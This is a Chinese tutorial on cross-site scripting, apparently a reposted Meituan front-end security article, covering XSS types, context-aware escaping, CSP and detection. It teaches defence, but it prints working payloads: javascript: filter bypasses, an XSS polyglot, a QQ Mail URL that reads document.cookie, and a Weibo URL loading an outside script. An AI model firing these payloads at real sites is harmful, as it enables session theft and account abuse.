自己的网站怎么做实时监控,wordpress 添加二级菜单,欧美品牌网站设计,重庆中企动力科技股份有限公司怎么样前端安全 随着互联网的高速发展#xff0c;信息安全问题已经成为企业最为关注的焦点之一#xff0c;而前端又是引发企业安全问题的高危据点。在移动互联网时代#xff0c;前端人员除了传统的 XSS、CSRF 等安全问题之外#xff0c;又时常遭遇网络劫持、非法调用 Hybrid API …前端安全 随着互联网的高速发展信息安全问题已经成为企业最为关注的焦点之一而前端又是引发企业安全问题的高危据点。在移动互联网时代前端人员除了传统的 XSS、CSRF 等安全问题之外又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然浏览器自身也在不断在进化和发展不断引入 CSP、Same-Site Cookies 等新技术来增强安全性但是仍存在很多潜在的威胁这需要前端技术人员不断进行“查漏补缺”。 近几年美团业务高速发展前端随之面临很多安全挑战因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案将会做成一个系列希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。 本文我们会讲解 XSS 主要包括 XSS 攻击的介绍XSS 攻击的分类XSS 攻击的预防和检测XSS 攻击的总结XSS 攻击案例XSS 攻击的介绍 在开始本文之前我们先提出一个问题请判断以下两个说法是否正确 XSS 防范是后端 RD研发人员的责任后端 RD 应该在所有用户提交数据的接口对敏感字符进行转义才能进行下一步操作。所有要插入到页面上的数据都要通过一个敏感字符过滤函数的转义过滤掉通用的敏感字符后就可以插入到页面中。如果你还不能确定答案那么可以带着这些问题向下看我们将逐步拆解问题。 XSS 漏洞的发生和修复 XSS 攻击是页面被注入了恶意的代码为了更形象的介绍我们用发生在小明同学身边的事例来进行说明。 一个案例 某天公司需要一个搜索页面根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下
lt;input typetext valuelt;% getParameter(keyword) %gt;gt;
lt;buttongt;搜索lt;/buttongt;
lt;divgt;您搜索的关键词是lt;% getParameter(keyword) %gt;
lt;/divgt; 然而在上线后不久小明就接到了安全组发来的一个神秘链接 http://xxx/search?keywordscriptalert(XSS);/script 小明带着一种不祥的预感点开了这个链接span stylecolor:red[请勿模仿确认安全的链接才能点开]/span。果然页面中弹出了写着XSS的对话框。 可恶中招了小明眉头一皱发现了其中的奥秘 当浏览器请求 http://xxx/search?keywordscriptalert(XSS);/script 时服务端会解析出请求参数 keyword得到 scriptalert(XSS);/script拼接到 HTML 中返回给浏览器。形成了如下的 HTML
lt;input typetext valuegt;lt;scriptgt;alert(XSS);lt;/scriptgt;gt;
lt;buttongt;搜索lt;/buttongt;
lt;divgt;您搜索的关键词是gt;lt;scriptgt;alert(XSS);lt;/scriptgt;
lt;/divgt; 浏览器无法分辨出 scriptalert(XSS);/script 是恶意代码因而将其执行。 这里不仅仅 div 的内容被注入了而且 input 的 value 属性也被注入 alert 会弹出两次。 面对这种情况我们应该如何进行防范呢 其实这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。 聪明的小明很快找到解决方法把这个漏洞修复
lt;input typetext valuelt;% escapeHTML(getParameter(keyword)) %gt;gt;
lt;buttongt;搜索lt;/buttongt;
lt;divgt;您搜索的关键词是lt;% escapeHTML(getParameter(keyword)) %gt;
lt;/divgt; escapeHTML() 按照如下规则进行转义 字符转义后的字符amp;lt;gt;quot;#x27;/#x2F;经过了转义函数的处理后最终浏览器接收到的响应为
lt;input typetext valueamp;quot;amp;gt;amp;lt;scriptamp;gt;alert(amp;#x27;XSSamp;#x27;);amp;lt;amp;#x2F;scriptamp;gt;gt;
lt;buttongt;搜索lt;/buttongt;
lt;divgt;您搜索的关键词是amp;quot;amp;gt;amp;lt;scriptamp;gt;alert(amp;#x27;XSSamp;#x27;);amp;lt;amp;#x2F;scriptamp;gt;
lt;/divgt; 恶意代码都被转义不再被浏览器执行而且搜索词能够完美的在页面显示出来。 通过这个事件小明学习到了如下知识 通常页面中包含的用户输入内容都在固定的容器或者属性内以文本的形式展示。攻击者利用这些页面的用户输入片段拼接特殊格式的字符串突破原有位置的限制形成了代码片段。攻击者通过在目标网站上注入脚本使之在用户的浏览器上运行从而引发潜在风险。通过 HTML 转义可以防止 XSS 攻击。span stylecolor:red[事情当然没有这么简单啦请继续往下看]/span。注意特殊的 HTML 属性、JavaScript API 自从上次事件之后小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦于是小明的工作又渐渐变得轻松起来。 但是作为导演的我不可能让小明这么简单、开心地改 Bug 。 不久小明又收到安全组的神秘链接http://xxx/?redirect_tojavascript:alert(XSS)。小明不敢大意赶忙点开页面。然而页面并没有自动弹出万恶的“XSS”。 小明打开对应页面的源码发现有以下内容
lt;a hreflt;% escapeHTML(getParameter(redirect_to)) %gt;gt;跳转...lt;/agt; 这段代码当攻击 URL 为 http://xxx/?redirect_tojavascript:alert(XSS)服务端响应就成了
lt;a hrefjavascript:alert(amp;#x27;XSSamp;#x27;)gt;跳转...lt;/agt; 虽然代码不会立即执行但一旦用户点击 a 标签时浏览器会就会弹出“XSS”。 可恶又失策了... 在这里用户的数据并没有在位置上突破我们的限制仍然是正确的 href 属性。但其内容并不是我们所预期的类型。 原来不仅仅是特殊字符连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。 小明眉头一皱想到了解决办法
// 禁止 URL 以 javascript: 开头
xss getParameter(redirect_to).startsWith(javascript:);
if (!xss) {lt;a hreflt;% escapeHTML(getParameter(redirect_to))%gt;gt;跳转...lt;/agt;
} else {lt;a href/404gt;跳转...lt;/agt;
} 只要 URL 的开头不是 javascript:就安全了吧 安全组随手又扔了一个连接http://xxx/?redirect_tojAvascRipt:alert(XSS) 这也能执行.....好吧浏览器就是这么强大。 小明欲哭无泪在判断 URL 开头是否为 javascript: 时先把用户输入转成了小写然后再进行比对。 不过所谓“道高一尺魔高一丈”。面对小明的防护策略安全组就构造了这样一个连接 http://xxx/?redirect_to%20javascript:alert(XSS) %20javascript:alert(XSS) 经过 URL 解析后变成 javascript:alert(XSS)这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则又成功的完成了注入。 最终小明选择了白名单的方法彻底解决了这个漏洞
// 根据项目情况进行过滤禁止掉 javascript: 链接、非法 scheme 等
allowSchemes [http, https];valid isValid(getParameter(redirect_to), allowSchemes);if (valid) {lt;a hreflt;% escapeHTML(getParameter(redirect_to))%gt;gt;跳转...lt;/agt;
} else {lt;a href/404gt;跳转...lt;/agt;
} 通过这个事件小明学习到了如下知识 做了 HTML 转义并不等于高枕无忧。对于链接跳转如 a hrefxxx 或 location.hrefxxx要检验其内容禁止以 javascript: 开头的链接和其他非法的 scheme。根据上下文采用不同的转义规则 某天小明为了加快网页的加载速度把一个数据通过 JSON 的方式内联到 HTML 中
lt;scriptgt;
var initData lt;% data.toJSON() %gt;
lt;/scriptgt; 插入 JSON 的地方不能使用 escapeHTML()因为转义 后JSON 格式会被破坏。 但安全组又发现有漏洞原来这样内联 JSON 也是不安全的 当 JSON 中包含 U2028 或 U2029 这两个字符时不能作为 JavaScript 的字面量使用否则会抛出语法错误。当 JSON 中包含字符串 /script 时当前的 script 标签将会被闭合后面的字符串内容浏览器会按照 HTML 进行解析通过增加下一个 script 标签等方法就可以完成注入。于是我们又要实现一个 escapeEmbedJSON() 函数对内联 JSON 进行转义。 转义规则如下 字符转义后的字符U2028\u2028U2029\u2029\u003c修复后的代码如下
lt;scriptgt;
var initData lt;% escapeEmbedJSON(data.toJSON()) %gt; 通过这个事件小明学习到了如下知识 HTML 转义是非常复杂的在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则很有可能会埋下 XSS 隐患。应当尽量避免自己写转义库而应当采用成熟的、业界通用的转义库。漏洞总结 小明的例子讲完了下面我们来系统的看下 XSS 有哪些注入的方法 在 HTML 中内嵌的文本中恶意内容以 script 标签形成注入。在内联的 JavaScript 中拼接的数据突破了原本的限制字符串变量方法名等。在标签属性中恶意内容包含引号从而突破属性值的限制注入其他属性或者标签。在标签的 href、src 等属性中包含 javascript: 等可执行代码。在 onload、onerror、onclick 等事件中注入不受控制代码。在 style 属性和标签中包含类似 background-image:url(javascript:...); 的代码新版本浏览器已经可以防范。在 style 属性和标签中包含类似 expression(...) 的 CSS 表达式代码新版本浏览器已经可以防范。总之如果开发者没有将用户输入的文本进行合适的过滤就贸然插入到 HTML 中这很容易造成注入漏洞。攻击者可以利用漏洞构造出恶意的代码指令进而利用恶意代码危害数据安全。 XSS 攻击的分类 通过上述几个例子我们已经对 XSS 有了一些认识。 什么是 XSS Cross-Site Scripting跨站脚本攻击简称 XSS是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本使之在用户的浏览器上运行。利用这些恶意脚本攻击者可获取用户的敏感信息如 Cookie、SessionID 等进而危害数据安全。 为了和 CSS 区分这里把攻击的第一个字母改成了 X于是叫做 XSS。 XSS 的本质是恶意代码未经过滤与网站正常的代码混在一起浏览器无法分辨哪些脚本是可信的导致恶意脚本被执行。 而由于直接在用户的终端执行恶意代码能够直接获取用户的信息或者利用这些信息冒充用户向网站发起攻击者定义的请求。 在部分情况下由于输入的限制注入的恶意脚本比较短。但可以通过引入外部的脚本并由浏览器执行来完成比较复杂的攻击策略。 这里有一个问题用户是通过哪种方法“注入”恶意脚本的呢 不仅仅是业务上的“用户的 UGC 内容”可以进行注入包括 URL 上的参数等都可以是攻击的来源。在处理输入时以下内容都不可信 来自用户的 UGC 信息来自第三方的链接URL 参数POST 参数Referer 可能来自不可信的来源Cookie 可能来自其他子域注入XSS 分类 根据攻击的来源XSS 攻击可分为存储型、反射型和 DOM 型三种。 类型存储区*插入点*存储型 XSS后端数据库HTML反射型 XSSURLHTMLDOM 型 XSS后端数据库/前端存储/URL前端 JavaScript存储区恶意代码存放的位置。插入点由谁取得恶意代码并插入到网页上。存储型 XSS 存储型 XSS 的攻击步骤 攻击者将恶意代码提交到目标网站的数据库中。用户打开目标网站时网站服务端将恶意代码从数据库取出拼接在 HTML 中返回给浏览器。用户浏览器接收到响应后解析执行混在其中的恶意代码也被执行。恶意代码窃取用户数据并发送到攻击者的网站或者冒充用户的行为调用目标网站接口执行攻击者指定的操作。这种攻击常见于带有用户保存数据的网站功能如论坛发帖、商品评论、用户私信等。 反射型 XSS 反射型 XSS 的攻击步骤 攻击者构造出特殊的 URL其中包含恶意代码。用户打开带有恶意代码的 URL 时网站服务端将恶意代码从 URL 中取出拼接在 HTML 中返回给浏览器。用户浏览器接收到响应后解析执行混在其中的恶意代码也被执行。恶意代码窃取用户数据并发送到攻击者的网站或者冒充用户的行为调用目标网站接口执行攻击者指定的操作。反射型 XSS 跟存储型 XSS 的区别是存储型 XSS 的恶意代码存在数据库里反射型 XSS 的恶意代码存在 URL 里。 反射型 XSS 漏洞常见于通过 URL 传递参数的功能如网站搜索、跳转等。 由于需要用户主动打开恶意的 URL 才能生效攻击者往往会结合多种手段诱导用户点击。 POST 的内容也可以触发反射型 XSS只不过其触发条件比较苛刻需要构造表单提交页面并引导用户点击所以非常少见。 DOM 型 XSS DOM 型 XSS 的攻击步骤 攻击者构造出特殊的 URL其中包含恶意代码。用户打开带有恶意代码的 URL。用户浏览器接收到响应后解析执行前端 JavaScript 取出 URL 中的恶意代码并执行。恶意代码窃取用户数据并发送到攻击者的网站或者冒充用户的行为调用目标网站接口执行攻击者指定的操作。DOM 型 XSS 跟前两种 XSS 的区别DOM 型 XSS 攻击中取出和执行恶意代码由浏览器端完成属于前端 JavaScript 自身的安全漏洞而其他两种 XSS 都属于服务端的安全漏洞。 XSS 攻击的预防 通过前面的介绍可以得知XSS 攻击有两大要素 攻击者提交恶意代码。浏览器执行恶意代码。针对第一个要素我们是否能够在用户输入的过程过滤掉用户输入的恶意代码呢 输入过滤 在用户提交时由前端过滤输入然后提交到后端。这样做是否可行呢 答案是不可行。一旦攻击者绕过前端过滤直接构造请求就可以提交恶意代码了。 那么换一个过滤时机后端在写入数据库前对输入进行过滤然后把“安全的”内容返回给前端。这样是否可行呢 我们举一个例子一个正常的用户输入了 5 7 这个内容在写入数据库前被转义变成了 5 lt; 7。 问题是在提交阶段我们并不确定内容要输出到哪里。 这里的“并不确定内容要输出到哪里”有两层含义 用户的输入内容可能同时提供给前端和客户端而一旦经过了 escapeHTML()客户端显示的内容就变成了乱码( 5 lt; 7 )。 在前端中不同的位置所需的编码也不同。 当 5 lt; 7 作为 HTML 拼接页面时可以正常显示 div titlecomment5 lt; 7/div 当 5 lt; 7 通过 Ajax 返回然后赋值给 JavaScript 的变量时前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示也不能直接用于内容长度计算。不能用于标题、alert 等。所以输入侧过滤能够在某些情况下解决特定的 XSS 问题但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。 当然对于明确的输入类型例如数字、URL、电话号码、邮件地址等等内容进行输入过滤还是必要的。 既然输入过滤并非完全可靠我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类 防止 HTML 中出现注入。防止 JavaScript 执行时执行恶意代码。预防存储型和反射型 XSS 攻击 存储型和反射型 XSS 都是在服务端取出恶意代码后插入到响应 HTML 里的攻击者刻意编写的“数据”被内嵌到“代码”中被浏览器所执行。 预防这两种漏洞有两种常见做法 改成纯前端渲染把代码和数据分隔开。对 HTML 做充分转义。纯前端渲染 纯前端渲染的过程 浏览器先加载一个静态 HTML此 HTML 中不包含任何跟业务相关的数据。然后浏览器执行 HTML 中的 JavaScript。JavaScript 通过 Ajax 加载业务数据调用 DOM API 更新到页面上。在纯前端渲染中我们会明确的告诉浏览器下面要设置的内容是文本.innerText还是属性.setAttribute还是样式.style等等。浏览器不会被轻易的被欺骗执行预期外的代码了。 但纯前端渲染还需注意避免 DOM 型 XSS 漏洞例如 onload 事件和 href 中的 javascript:xxx 等请参考下文”预防 DOM 型 XSS 攻击“部分。 在很多内部、管理系统中采用纯前端渲染是非常合适的。但对于性能要求高或有 SEO 需求的页面我们仍然要面对拼接 HTML 的问题。 转义 HTML 如果拼接 HTML 是必要的就需要采用合适的转义库对 HTML 模板各处插入点进行充分的转义。 常用的模板引擎如 doT.js、ejs、FreeMarker 等对于 HTML 转义通常只有一个规则就是把 / 这几个字符转义掉确实能起到一定的 XSS 防护作用但并不完善 XSS 安全漏洞简单转义是否有防护作用HTML 标签文字内容有HTML 属性值有CSS 内联样式无内联 JavaScript无内联 JSON无跳转链接无所以要完善 XSS 防护措施我们要使用更完善更细致的转义策略。 例如 Java 工程里常用的转义库为 org.owasp.encoder。以下代码引用自 org.owasp.encoder 的官方说明。
lt;!-- HTML 标签内文字内容 --gt;
lt;divgt;lt;% Encode.forHtml(UNTRUSTED) %gt;lt;/divgt;lt;!-- HTML 标签属性值 --gt;
lt;input valuelt;% Encode.forHtml(UNTRUSTED) %gt; /gt;lt;!-- CSS 属性值 --gt;
lt;div stylewidth:lt; Encode.forCssString(UNTRUSTED) %gt;gt;lt;!-- CSS URL --gt;
lt;div stylebackground:lt; Encode.forCssUrl(UNTRUSTED) %gt;gt;lt;!-- JavaScript 内联代码块 --gt;
lt;scriptgt;var msg lt;% Encode.forJavaScript(UNTRUSTED) %gt;;alert(msg);
lt;/scriptgt;lt;!-- JavaScript 内联代码块内嵌 JSON --gt;
lt;scriptgt;
var __INITIAL_STATE__ JSON.parse(lt;% Encoder.forJavaScript(data.to_json) %gt;);
lt;/scriptgt;lt;!-- HTML 标签内联监听器 --gt;
lt;buttononclickalert(lt;% Encode.forJavaScript(UNTRUSTED) %gt;);gt;click me
lt;/buttongt;lt;!-- URL 参数 --gt;
lt;a href/search?valuelt;% Encode.forUriComponent(UNTRUSTED) %gt;amp;order1#topgt;lt;!-- URL 路径 --gt;
lt;a href/page/lt;% Encode.forUriComponent(UNTRUSTED) %gt;gt;lt;!--URL.注意要根据项目情况进行过滤禁止掉 javascript: 链接、非法 scheme 等
--gt;
lt;a hreflt;%urlValidator.isValid(UNTRUSTED) ?Encode.forHtml(UNTRUSTED) :/404
%gt;gt;link
lt;/agt; 可见HTML 的编码是十分复杂的在不同的上下文里要使用相应的转义规则。 预防 DOM 型 XSS 攻击 DOM 型 XSS 攻击实际上就是网站前端 JavaScript 代码本身不够严谨把不可信的数据当作代码执行了。 在使用 .innerHTML、.outerHTML、document.write() 时要特别小心不要把不可信的数据作为 HTML 插到页面上而应尽量使用 .textContent、.setAttribute() 等。 如果用 Vue/React 技术栈并且不使用 v-html/dangerouslySetInnerHTML 功能就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。 DOM 中的内联事件监听器如 location、onclick、onerror、onload、onmouseover 等a 标签的 href 属性JavaScript 的 eval()、setTimeout()、setInterval() 等都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API很容易产生安全隐患请务必避免。
lt;!-- 内联事件监听器中包含恶意代码 --gt;
lt;img onclickUNTRUSTED onerrorUNTRUSTED srcdata:image/png,gt;lt;!-- 链接内包含恶意代码 --gt;
lt;a hrefUNTRUSTEDgt;1lt;/agt;lt;scriptgt;
// setTimeout()/setInterval() 中调用恶意代码
setTimeout(UNTRUSTED)
setInterval(UNTRUSTED)// location 调用恶意代码
location.href UNTRUSTED// eval() 中调用恶意代码
eval(UNTRUSTED)
lt;/scriptgt; 如果项目中有用到这些的话一定要避免在字符串中拼接不可信数据。 其他 XSS 防范措施 虽然在渲染页面和执行 JavaScript 时通过谨慎的转义可以防止 XSS 的发生但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案可以降低 XSS 带来的风险和后果。 Content Security Policy 严格的 CSP 在 XSS 的防范中可以起到以下的作用 禁止加载外域代码防止复杂的攻击逻辑。禁止外域提交网站被攻击后用户的数据不会泄露到外域。禁止内联脚本执行规则较严格目前发现 GitHub 使用。禁止未授权的脚本执行新特性Google Map 移动版在使用。合理使用上报可以及时发现 XSS利于尽快修复问题。关于 CSP 的详情请关注前端安全系列后续的文章。 输入内容长度控制 对于不受信任的输入都应该限定一个合理的长度。虽然无法完全防止 XSS 发生但可以增加 XSS 攻击的难度。 其他安全措施 HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie攻击者完成 XSS 注入后也无法窃取此 Cookie。验证码防止脚本冒充用户提交危险操作。XSS 的检测 上述经历让小明收获颇丰他也学会了如何去预防和修复 XSS 漏洞在日常开发中也具备了相关的安全意识。但对于已经上线的代码如何去检测其中有没有 XSS 漏洞呢 经过一番搜索小明找到了两个方法 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。使用扫描工具自动检测 XSS 漏洞。在Unleashing an Ultimate XSS Polyglot一文中小明发现了这么一个字符串
jaVasCript:/*-/*/*\/*/*/**/(/* */oNcliCkalert() )//%0D%0A%0d%0a//lt;/stYle/lt;/titLe/lt;/teXtarEa/lt;/scRipt/--!gt;\x3csVg/lt;sVg/oNloAdalert()//gt;\x3e 它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞并且能绕过一些 XSS 过滤器。 小明只要在网站的各输入框中提交这个字符串或者把它拼接到 URL 参数上就可以进行检测了。
http://xxx/search?keywordjaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E 除了手动检测之外还可以使用自动扫描工具寻找 XSS 漏洞例如 Arachni、Mozilla HTTP Observatory、w3af 等。 XSS 攻击的总结 我们回到最开始提出的问题相信同学们已经有了答案 XSS 防范是后端 RD 的责任后端 RD 应该在所有用户提交数据的接口对敏感字符进行转义才能进行下一步操作。 不正确。因为 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。转义应该在输出 HTML 时进行而不是在提交用户输入时。 所有要插入到页面上的数据都要通过一个敏感字符过滤函数的转义过滤掉通用的敏感字符后就可以插入到页面中。 不正确。不同的上下文如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等所需要的转义规则不一致。业务 RD 需要选取合适的转义库并针对不同的上下文调用不同的转义规则。 整体的 XSS 防范是非常复杂和繁琐的我们不仅需要在全部需要转义的位置对数据进行对应的转义。而且要防止多余和错误的转义避免正常的用户输入出现乱码。 虽然很难通过技术手段完全避免 XSS但我们可以总结以下原则减少漏洞的产生 利用模板引擎开启模板引擎自带的 HTML 转义功能。例如在 ejs 中尽量使用 % data % 而不是 %- data %在 doT.js 中尽量使用 {{! data } 而不是 {{ data }在 FreeMarker 中确保引擎版本高于 2.3.24并且选择正确的 freemarker.core.OutputFormat。 避免内联事件尽量不要使用 onLoadonload({{data}})、onClickgo({{action}}) 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。 避免拼接 HTML前端采用拼接 HTML 的方法比较危险如果框架允许使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架如 Vue/React 等。 时刻保持警惕在插入位置为 DOM 属性、链接等位置时要打起精神严加防范。 增加攻击难度降低攻击后果通过 CSP、输入长度配置、接口安全措施等方法增加攻击的难度降低攻击的后果。 主动检测和发现可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。XSS 攻击案例 QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞 攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uinaaaadomainbbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。 于是攻击者构建出一个 URL并引导用户去点击http://m.exmail.qq.com/cgi-bin/login?uinaaaadomainbbbb%26quot%3B%3Breturnfalse%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B 用户点击这个 URL 时服务端取出 URL 参数拼接到 HTML 响应中
lt;scriptgt;
getTop().location.href/cgi-bin/loginpage?autologinnamp;errtype1amp;verifyamp;clientuinaaaamp;tamp;dbbbb;return false;lt;/scriptgt;lt;scriptgt;alert(document.cookie)lt;/scriptgt;... 浏览器接收到响应后就会执行 alert(document.cookie)攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie 进而危害数据安全。 新浪微博名人堂反射型 XSS 漏洞 攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。 于是攻击者构建出一个 URL然后诱导用户去点击 http://weibo.com/pub/star/g/xyyydscript src//xxxx.cn/image/t.js/script 用户点击这个 URL 时服务端取出请求 URL拼接到 HTML 响应中
lt;ligt;lt;a hrefhttp://weibo.com/pub/star/g/xyyydgt;lt;script src//xxxx.cn/image/t.jsgt;lt;/scriptgt;gt;按分类检索lt;/agt;lt;/ligt; 浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作发出的微博和私信可再带上攻击 URL诱导更多人点击不断放大攻击范围。这种窃用受害者身份发布恶意内容层层放大攻击范围的方式被称为“XSS 蠕虫”。 扩展阅读Automatic Context-Aware Escaping 上文我们说到 合适的 HTML 转义可以有效避免 XSS 漏洞。完善的转义库需要针对上下文制定多种规则例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。业务 RD 需要根据每个插入点所处的上下文选取不同的转义规则。通常转义库是不能判断插入点上下文的Not Context-Aware实施转义规则的责任就落到了业务 RD 身上需要每个业务 RD 都充分理解 XSS 的各种情况并且需要保证每一个插入点使用了正确的转义规则。 这种机制工作量大全靠人工保证很容易造成 XSS 漏洞安全人员也很难发现隐患。 2009年Google 提出了一个概念叫做Automatic Context-Aware Escaping。 所谓 Context-Aware就是说模板引擎在解析模板字符串的时候就解析模板语法分析出每个插入点所处的上下文据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担也减少了人为带来的疏漏。 在一个支持 Automatic Context-Aware Escaping 的模板引擎里业务 RD 可以这样定义模板而无需手动实施转义规则
lt;htmlgt;lt;headgt;lt;meta charsetUTF-8gt;lt;titlegt;{{.title}}lt;/titlegt;lt;/headgt;lt;bodygt;lt;a href{{.url}}gt;{{.content}}lt;/agt;lt;/bodygt;
lt;/htmlgt; 模板引擎经过解析后得知三个插入点所处的上下文自动选用相应的转义规则
lt;htmlgt;lt;headgt;lt;meta charsetUTF-8gt;lt;titlegt;{{.title | htmlescaper}}lt;/titlegt;lt;/headgt;lt;bodygt;lt;a href{{.url | urlescaper | attrescaper}}gt;{{.content | htmlescaper}}lt;/agt;lt;/bodygt;
lt;/htmlgt; 目前已经支持 Automatic Context-Aware Escaping 的模板引擎有 go html/templateGoogle Closure Templates课后作业XSS 攻击小游戏 以下是几个 XSS 攻击小游戏开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入完成 XSS 攻击即可通关。 在玩游戏的过程中请各位读者仔细思考和回顾本文内容加深对 XSS 攻击的理解。 alert(1) to winprompt(1) to winXSS game 参考文献 Wikipedia. Cross-site scripting, Wikipedia.OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet_Prevention_Cheat_Sheet), OWASP.OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.Vue.js. v-html - Vue API docs, Vue.js.React. dangerouslySetInnerHTML - DOM Elements, React.下期预告 前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击敬请关注。 作者介绍 李阳美团点评前端工程师。2016年加入美团点评负责美团外卖 Hybrid 页面性能优化相关工作。 转载于:https://www.cnblogs.com/lalalagq/p/9749389.html
